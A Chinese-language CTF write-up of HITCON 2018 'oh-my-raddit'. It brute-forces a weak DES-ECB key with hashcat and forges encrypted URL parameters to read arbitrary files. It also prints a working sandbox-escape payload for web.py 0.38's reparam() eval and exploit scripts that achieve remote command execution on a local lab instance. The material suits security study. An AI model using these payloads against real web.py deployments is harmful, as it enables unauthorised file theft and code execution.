NEKO

Hitcon-Redo

2018/11/03

/ redo oh-my-raddit /

oh-my-raddit1

查看源代码发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
<script type="text/javascript">
function change(t){
var limit = t.value
if (limit == 10) {
location.href = '?s=06e77f2958b65ffd3ca92540eb2d0a42';
} else if (limit == 100) {
location.href = '?s=06e77f2958b65ffd2c0f7629b9e19627';
} else {
location.href = '/';
}
}

</script>

推测s是由某种加密方式得来,而06e77f2958b65ffd3ca92540eb2d0a4206e77f2958b65ffd2c0f7629b9e19627相比较,前半部分完全一致,推测加密分组为8字节。
AES等加密方法也可以使用8字节分组,但通常是16字节,而DES加密只能使用8字节分组,猜测为DES加密
注意到后缀为3ca92540eb2d0a42的实例一共有18处,可以肯定加密的明文是8的倍数,所以末尾统一填充’\x08’*8,而且加密模式为ECB模式,padding规则有pkcs5padding、pkcs7padding、zeropadding等但DES通常使用pkcs5padding不用zeropadding.

所以现在可知\x08\x08\x08\x08\x08\x08\x08\x08的加密结果为'3ca92540eb2d0a42'.decode('hex'),而且秘钥全是小写字母。
使用hachcat进行爆破:

1
hashcat -m 14000 3ca92540eb2d0a42:0808080808080808 -a 3 '?l?l?l?l?l?l?l?l' --force

得到结果:

1
3ca92540eb2d0a42:0808080808080808:ldgonaro

但秘钥并不是ldgonaro,是因为DES存在等价秘钥: DES通过种子秘钥生成子秘钥时,将64位的种子秘钥的8,16,24,32,40,48,56,64位作为奇偶校验位,不参与子秘钥的生成算法。
所以秘钥

1
bbbbbbbb

等价于

1
cccccccc

因为

1
2
bin(ord('b'))=0b1100010
bin(ord('c'))=0b1100011

使用等价秘钥ldgonaro解密所有密文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Cipher import DES
def get_cipher():
import requests
import re
pattern=re.compile('<a href="\?s=(\w*)">')
url='http://127.0.0.1:8000/?s=06e77f2958b65ffd2c0f7629b9e19627'
r=requests.get(url)
data=r.text
Cipher=pattern.findall(data)
return Cipher
key='ldgonaro'
DES_fun=DES.new(key,DES.MODE_ECB)
Cipher=get_cipher()
plainData=[]
for cipher in Cipher:
plaintext=DES_fun.decrypt(cipher.decode('hex'))
plainData.append(plaintext)

for plain in plainData:
print plain

在结果中发现一条与众不同的明文:

1
m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec

找到其对应的密文,点近其所对应的链接发现是下载功能。
那么构造payload:

1
m=d&f=app.py

加密后访问链接得到app.py内容.
exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Cipher import DES
import requests
def get_cipher(plain):
key='ldgonaro'
DES_fun=DES.new(key,DES.MODE_ECB)
length=DES.block_size-len(plain)%DES.block_size
plain+=chr(length)*length
cipher=DES_fun.encrypt(plain).encode('hex')
return cipher

url='http://127.0.0.1:8000/?s='+get_cipher('m=d&f=app.py')

r=requests.get(url)
print r.text

得到app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES

web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'


urls = (
'/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')


def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length

cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')

def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}

def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''

records.append( tmp )
return records

def get_urls():
urls = []
for i in [10, 100, 1000]:
data = {
'm': 'p',
'l': i
}
urls.append( encrypt(urllib.urlencode(data)) )
return urls

class index:
def GET(self):
s = web.input().get('s')
if not s:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
else:
s = decrypt(s)
method = s.get('m', '')
if method and method not in list('rdp'):
return 'param error'
if method == 'r':
uid = s.get('u')
record = db.select('posts', where='id=$id', vars={'id': uid}).first()
if record:
raise web.seeother(record.url)
else:
return 'not found'
elif method == 'd':
file = s.get('f')
if not os.path.exists(file):
return 'not found'
name = os.path.basename(file)
web.header('Content-Disposition', 'attachment; filename=%s' % name)
web.header('Content-Type', 'application/pdf')
with open(file, 'rb') as fp:
data = fp.read()
return data
elif method == 'p':
limit = s.get('l')
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
else:
return web.template.frender('templates/index.html')(get_posts(), get_urls())


if __name__ == "__main__":
app.run()

得到真正的秘钥:megnnaro

oh-my-raddit2

相同操作下载requirements.txt发现web.py==0.38.
这个版本的web.py存在一个RCE: https://securityetalii.es/2014/11/08/remote-code-execution-in-web-py-framework/

这个版本的web.py应该是作者提出漏洞后第一次的修复结果:

1
2
3
4
5
6
7
8
import web
web.reparam("$__import__('os').getcwd()", {})
Traceback (most recent call last):
File "<input>", line 1, in <module>
File "/Users/n3k0/PycharmProjects/webpy/venv/lib/python2.7/site-packages/web/db.py", line 305, in reparam
v = eval(chunk, dictionary)
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

__import__无法使用,但下面的payload可用:

1
2
3
4
5
import web
web.reparam("${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls'))()} ", {})
test.py
venv
<sql: '0 '>

观察到

1
2
3
4
5
elif method == 'p':
limit = s.get('l')
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
else:
return web.template.frender('templates/index.html')(get_posts(), get_urls())

使用了get_posts()函数。
get_posts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''

records.append( tmp )
return records

在函数get_posts()函数中使用了db.select(),追溯到底层有reparam()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def reparam(string_, dictionary): 
"""
Takes a string and a dictionary and interpolates the string
using values from the dictionary. Returns an `SQLQuery` for the result.

>>> reparam("s = $s", dict(s=True))
<sql: "s = 't'">
>>> reparam("s IN $s", dict(s=[1, 2]))
<sql: 's IN (1, 2)'>
"""
dictionary = dictionary.copy() # eval mucks with it
# disable builtins to avoid risk for remote code exection.
dictionary['__builtins__'] = object()
vals = []
result = []
for live, chunk in _interpolate(string_):
if live:
v = eval(chunk, dictionary)
result.append(sqlquote(v))
else:
result.append(chunk)
return SQLQuery.join(result, '')

其中的v = eval(chunk, dictionary)便是利用点。
debug一下,生成payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Cipher import DES
import requests
def get_cipher(plain):
key='ldgonaro'
DES_fun=DES.new(key,DES.MODE_ECB)
length=DES.block_size-len(plain)%DES.block_size
plain+=chr(length)*length
cipher=DES_fun.encrypt(plain).encode('hex')
return cipher

url='http://127.0.0.1:8000/?s='+get_cipher("m=p&l=${test}")
print url

http://127.0.0.1:8000/?s=3a3712cba592b47c5ca50b1fa63d1e82

在reparam()处下断点,debug:
2018-10-30-屏幕快照 2018-10-30 下午2.42.21.png
可以看到传给eval()的参数,但eval()可以执行传入的命令,但并不会回显,可以选择将命令执行的结果放入tmp目录下,再下载下来。

exp.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import DES
import requests
def get_cipher(plain):
key='ldgonaro'
DES_fun=DES.new(key,DES.MODE_ECB)
length=DES.block_size-len(plain)%DES.block_size
plain+=chr(length)*length
cipher=DES_fun.encrypt(plain).encode('hex')
return cipher

url1='http://127.0.0.1:8000/?s='+get_cipher("m=p&l=${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__):getthem['__import__']('os').system('ls / > /tmp/data'))()}")
url2='http://127.0.0.1:8000/?s='+get_cipher("m=d&f=/tmp/data")


r1=requests.get(url1)
r2=requests.get(url2)
print r2.text

原文作者: n3k0

发表日期: November 3rd 2018, 8:49:23

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
  1. 1. oh-my-raddit1
  2. 2. oh-my-raddit2